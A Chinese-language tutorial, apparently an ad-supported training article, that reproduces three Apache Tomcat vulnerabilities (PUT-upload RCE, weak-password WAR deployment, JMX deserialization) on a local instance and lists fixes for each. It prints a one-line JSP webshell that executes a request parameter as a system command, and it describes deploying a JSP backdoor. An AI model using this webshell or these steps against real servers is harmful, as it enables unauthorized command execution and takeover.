了解更多Tomcat,你可以关注“武汉千锋”微信公众号,定期发布技术文章和行业趋势分析。你也可以来千锋武汉Java培训班进行系统的学习,专业大牛讲师全程面授、以项目驱动教学过程和内容,让你高效率学习、快速上岗就业!千锋武汉Java培训大牛讲师全程面授,全新打造“主流技术+前沿技术+企业级联动”教学课程,重新优化和定义JavaEE,采用最新版本技术开展教学,致力于为学员打造最牛的、最新的技术。严格的管理制度让你在五个月的时间成功蜕变成为一名合格的Java开发工程师。并且,千锋推出长达两周的免费试听期,让你亲身教学效果,评价讲师的教学水平,了解学员的学习情况和就业情况!
Tomcat简介
Tomcat 服务器是一个免费的开放源代码的 Web 应用服务器,属于轻量级应用服务器,在中小型系统和并发访问用户不是很多的场合下被普遍使用,是开发和调试 JSP 程序的首选。
对于一个初学者来说,可以这样认为,当在一台机器上配置好 Apache 服务器,可利用它响应 HTML(标准通用标记语言下的一个应用)页面的访问请求。实际上 Tomcat 是 Apache 服务器的扩展,但运行时它是独立运行的,所以当运行 tomcat 时,它实际上作为一个与 Apache 独立的进程单独运行的。
2
远程代码执行
漏洞简介及成因
Tomcat 运行在 Windows 主机上,且启用了 HTTP PUT 请求方法,可通过构造的攻击请求向服务器上传包含任意代码的 JSP 文件,造成任意代码执行。
影响版本:Apache Tomcat 7.0.0 – 7.0.81
漏洞复现
配置漏洞,开启put方法可上传文件功能
tomcat文件夹下的/conf/web.xml文件插入
<init-param>
<param-name>readonly</param-name>
<param-value>false</param-value>
</init-param>
重启tomcat服务
访问127.0.0.1:8080,burp抓包,send to Repeater,将请求方式改为PUT,创建一个122.jsp,并用%20转义空格字符。123.jsp内容为:
<%Runtime.getRuntime().exec(request.getParameter("cmd"));%>
返回201,说明创建成功
访问127.0.0.1:8080/122.jsp?cmd=calc
弹出计算器
漏洞修复
1)检测当前版本是否在影响范围内,并禁用PUT方法。
2)更新并升级至最新版。
3
后台弱口令war包部署
漏洞简介及成因
Tomcat支持在后台部署war文件,可以直接将webshell部署到web目录下。
若后台管理页面存在弱口令,则可以通过爆破获取密码。
漏洞复现
Tomcat安装目录下conf里的tomcat-users.xml配置如下
访问后台,登陆
上传一个war包,里面是jsp后门
成功上传并解析,打开
可执行系统命令
也可进行文件管理,任意查看、删除、上传文件
漏洞修复
1)在系统上以低权限运行Tomcat应用程序。创建一个专门的 Tomcat服务用户,该用户只能拥有一组最小权限(例如不允许远程登录)。
2)增加对于本地和基于证书的身份验证,部署账户锁定机制(对于集中式认证,目录服务也要做相应配置)。在CATALINA_HOME/conf/web.xml文件设置锁定机制和时间超时限制。
3)以及针对manager-gui/manager-status/manager-script等目录页面设置最小权限访问限制。
4)后台管理避免弱口令。
4
反序列化漏洞
漏洞简介及成因
该漏洞与之前Oracle发布的mxRemoteLifecycleListener反序列化漏洞(CVE-2016-3427)相关,是由于使用了JmxRemoteLifecycleListener的监听功能所导致。而在Oracle官方发布修复后,Tomcat未能及时修复更新而导致 的远程代码执行。
该漏洞所造成的最根本原因是Tomcat在配置JMX做监控时使用了JmxRemoteLifecycleListener的方法。
漏洞影响版本:
ApacheTomcat 9.0.0.M1 到9.0.0.M11
ApacheTomcat 8.5.0 到8.5.6
ApacheTomcat 8.0.0.RC1 到8.0.38
ApacheTomcat 7.0.0 到7.0.72
ApacheTomcat 6.0.0 到6.0.47
漏洞复现
利用条件:外部需要开启JmxRemoteLifecycleListener监听的10001和10002端口,来实现远程代码执行。
conf/server.xml中第30行中配置启用JmxRemoteLifecycleListener功能监听的端口:
配置好jmx的端口后,在tomcat版本所对应的extras/目录下来下载catalina-jmx-remote.jar以及下载groovy-2.3.9.jar两个jar包。下载完成后放至在lib目录下。
接着再去bin目录下修改catalina.bat脚本。在ExecuteThe Requested Command注释前面添加这么一行。
重启tomcat,监听本地的10001和10002的RMI服务端口是否成功运行。
构造payload,弹出计算器
成功弹出计算器。
漏洞修复
1、关闭JmxRemoteLifecycleListener功能,或者是对jmx JmxRemoteLifecycleListener远程端口进行网络访问控制。同时,增加严格的认证方式。
2、根据官方去升级更新相对应的版本。
第59号 公众账号致力于为行内、外所有关注数据安全的
企业同仁搭建一个只分享专业资讯、热点剖析、
行内大会的信息共享平台。
*请认真填写需求信息,我们会在24小时内与您取得联系。